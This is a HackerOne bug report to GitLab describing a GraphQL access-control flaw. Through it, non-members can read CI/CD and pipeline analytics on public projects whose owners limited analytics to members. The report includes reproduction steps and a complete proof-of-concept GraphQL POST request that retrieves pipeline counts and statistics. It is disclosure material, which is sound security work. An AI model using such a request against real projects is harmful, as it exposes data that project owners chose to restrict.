CI/CD analytics are exposed through graphql for the public projects with analytics setting set to only project members.

HackerOne report #1103307 by albatraoz on 2021-02-14, assigned to @rchan-gitlab:

Report | How To Reproduce

Report

Summary

When a public project has set the analytics setting set to only project members, the whole analytics section of the pages is not visible to the non members on the UI. But due to some access control issue in graphql, non members can access the ci/cd & pipeline analytics easily.

Steps to reproduce

  1. Create a public project.
  2. Go to project settings > General > Visibility, project features, permissions > Set Analytics to only project members.
  3. Open another non member account & try to access the analaytics page of the above project, you will be greeted with 404 page not found.
  4. Now send the below request:
POST /api/graphql HTTP/1.1  
Host: gitlab.com  
Connection: close  
Content-Length: 1073  
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"  
accept: */*  
X-CSRF-Token:   
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
content-type: application/json  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie:

[{"operationName":"getPipelineCountByStatus","variables":{"projectPath":"[PROJECT_PATH]"},"query":"query getPipelineCountByStatus($projectPath: ID!) {\n  project(fullPath: $projectPath) {\n    totalPipelines: pipelines {\n      count\n      __typename\n    }\n    successfulPipelines: pipelines(status: SUCCESS) {\n      count\n      __typename\n    }\n    failedPipelines: pipelines(status: FAILED) {\n      count\n      __typename\n    }\n    __typename\n  }\n}\n"},{"operationName":"getProjectPipelineStatistics","variables":{"projectPath":"[PROJECT_PATH]"},"query":"query getProjectPipelineStatistics($projectPath: ID!) {\n  project(fullPath: $projectPath) {\n    pipelineAnalytics {\n      weekPipelinesTotals\n      weekPipelinesLabels\n      weekPipelinesSuccessful\n      monthPipelinesLabels\n      monthPipelinesTotals\n      monthPipelinesSuccessful\n      yearPipelinesLabels\n      yearPipelinesTotals\n      yearPipelinesSuccessful\n      pipelineTimesLabels\n      pipelineTimesValues\n      __typename\n    }\n    __typename\n  }\n}\n"}]

You would be able to see the CI/CD analytics in the reponse.

What is the current bug behavior?

The CI/CD analytics is accessible through graphql due to access control issues to non members of a public project with analytics setting set to only project members.

What is the expected correct behavior?

The CI/CD analytics should not be accessible through UI, Rest APIs or graphql to non members of a public project with analytics setting set to only project members.

Impact

A non member of a public project i.e any user could be able to access information & analytics related to CI/CD & pipelines even If they are not authorized to do so.

How To Reproduce

Please add reproducibility information to this section: